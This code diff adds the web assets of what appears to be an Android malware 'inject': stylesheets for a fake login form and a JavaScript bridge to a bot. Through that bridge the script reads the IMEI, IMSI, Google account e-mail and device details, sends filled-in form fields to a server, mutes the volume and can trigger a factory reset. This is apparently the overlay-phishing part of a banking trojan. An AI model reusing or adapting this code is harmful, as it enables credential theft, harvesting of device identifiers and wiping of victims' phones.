* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 656 B |
|
After Width: | Height: | Size: 1.7 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,306 @@
|
||||
|
||||
|
||||
|
||||
.container {
|
||||
padding-top:70px;
|
||||
}
|
||||
.wrapper .row {
|
||||
position: relative;
|
||||
float: left;
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_header{
|
||||
background: #Ffffff;
|
||||
border: solid 1px #365FB4;
|
||||
}
|
||||
.row_header + .row {
|
||||
margin-top: 14px;
|
||||
}
|
||||
.form_header {
|
||||
background: #ffffff;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
top:0;
|
||||
left:0;
|
||||
width:100%;
|
||||
padding: 20px 12px 6px 12px;
|
||||
border-bottom: solid 1px #A9A9A9;
|
||||
}
|
||||
.content{
|
||||
padding: 0 15px;
|
||||
max-width: 330px;
|
||||
margin: 0 auto;
|
||||
max-width: 100%;
|
||||
overflow: hidden;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #000;
|
||||
font-family: "Helvetica";
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 131px;
|
||||
padding-right: 6%;
|
||||
margin-bottom: 13px;
|
||||
}
|
||||
.inp_caption_l {
|
||||
position: absolute;
|
||||
left: 6%;
|
||||
text-align: left;
|
||||
top: 8px;
|
||||
}
|
||||
.inp_wr_l {
|
||||
float: right;
|
||||
width: 100%;
|
||||
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: none;
|
||||
outline-style: none;
|
||||
background-color: #FFF;
|
||||
border: 1px solid #E8E8E8;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
max-width: 330px;
|
||||
height: 35px;
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr {
|
||||
display:table;
|
||||
max-width:330px;
|
||||
margin-left:auto;
|
||||
margin-right:auto;
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.logon_btn {
|
||||
width: 140px;
|
||||
height: 40px;
|
||||
background-color: #284998;
|
||||
background-image: -moz-linear-gradient(bottom, #284998 0%, #284998 100%);
|
||||
background-image: -o-linear-gradient(bottom, #284998 0%, #284998 100%);
|
||||
background-image: -webkit-linear-gradient(bottom, #284998 0%, #284998 100%);
|
||||
background-image: linear-gradient(to top, #284998 0%, #284998 100%);
|
||||
border: 2px solid #F0F0F0;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
-webkit-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
cursor: pointer;
|
||||
outline-style: none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
|
||||
.main_select {
|
||||
text-align: left;
|
||||
}
|
||||
.main_select.jq-selectbox {
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 35px;
|
||||
padding: 0 5px 0 5px;
|
||||
border: 1px solid #E8E8E8 !important;
|
||||
-moz-border-radius: 5px !important;
|
||||
-webkit-border-radius: 5px !important;
|
||||
border-radius: 5px !important;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
border-radius: 0;
|
||||
background: #fff;
|
||||
box-shadow: none;
|
||||
color: #363636;
|
||||
text-shadow: none;
|
||||
font-size: 14px;
|
||||
font: 14px/26px 'Helvetica';
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger {
|
||||
width: 30px;
|
||||
height: 35px !important;
|
||||
height: 100%;
|
||||
border-left: none;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow {
|
||||
top: 16px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text {
|
||||
height: 35px;
|
||||
line-height: 37px;
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown {
|
||||
top: 35px !important;
|
||||
width: 100%;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 1px solid #CCC;
|
||||
border-radius: 0;
|
||||
background: #FFF;
|
||||
box-shadow: none;
|
||||
font: 14px/26px 'Helvetica';
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown li{
|
||||
padding: 0 5px 0 !important;
|
||||
}
|
||||
@media (max-width: 320px){
|
||||
.inp_caption_l {
|
||||
left: 0;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 110px;
|
||||
padding-right: 0;
|
||||
}
|
||||
}
|
||||
@media (max-height: 436px){
|
||||
.form_header {
|
||||
padding: 10px 5px 5px 5px;
|
||||
height: 40px;
|
||||
}
|
||||
.container {padding-top:40px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 0;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.logon_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 20px;
|
||||
line-height: 22px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 20px !important;
|
||||
width: 18px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 9px;
|
||||
right: 6px;
|
||||
}
|
||||
.inp_caption_l{
|
||||
top: 3px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
}
|
||||
@media (max-height: 240px) {
|
||||
.input_block_wr_l{
|
||||
padding-left: 95px;
|
||||
}
|
||||
}
|
||||
@media (max-width: 200px), (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 18px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.container {padding-top:18px;}
|
||||
.form_header img{
|
||||
max-height: 13px;
|
||||
}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: -3px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 0;
|
||||
}
|
||||
.main_input{
|
||||
height: 12px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 1px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 1px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.logon_btn{
|
||||
font-size: 7px;
|
||||
width: 70px;
|
||||
height: 16px;
|
||||
line-height: 10px;
|
||||
}
|
||||
.logon_btn img {
|
||||
top: 4px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 3px;
|
||||
padding-left: 70px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 15px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 15px;
|
||||
line-height: 15px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 15px !important;
|
||||
width: 7px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 6px;
|
||||
right: 3px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
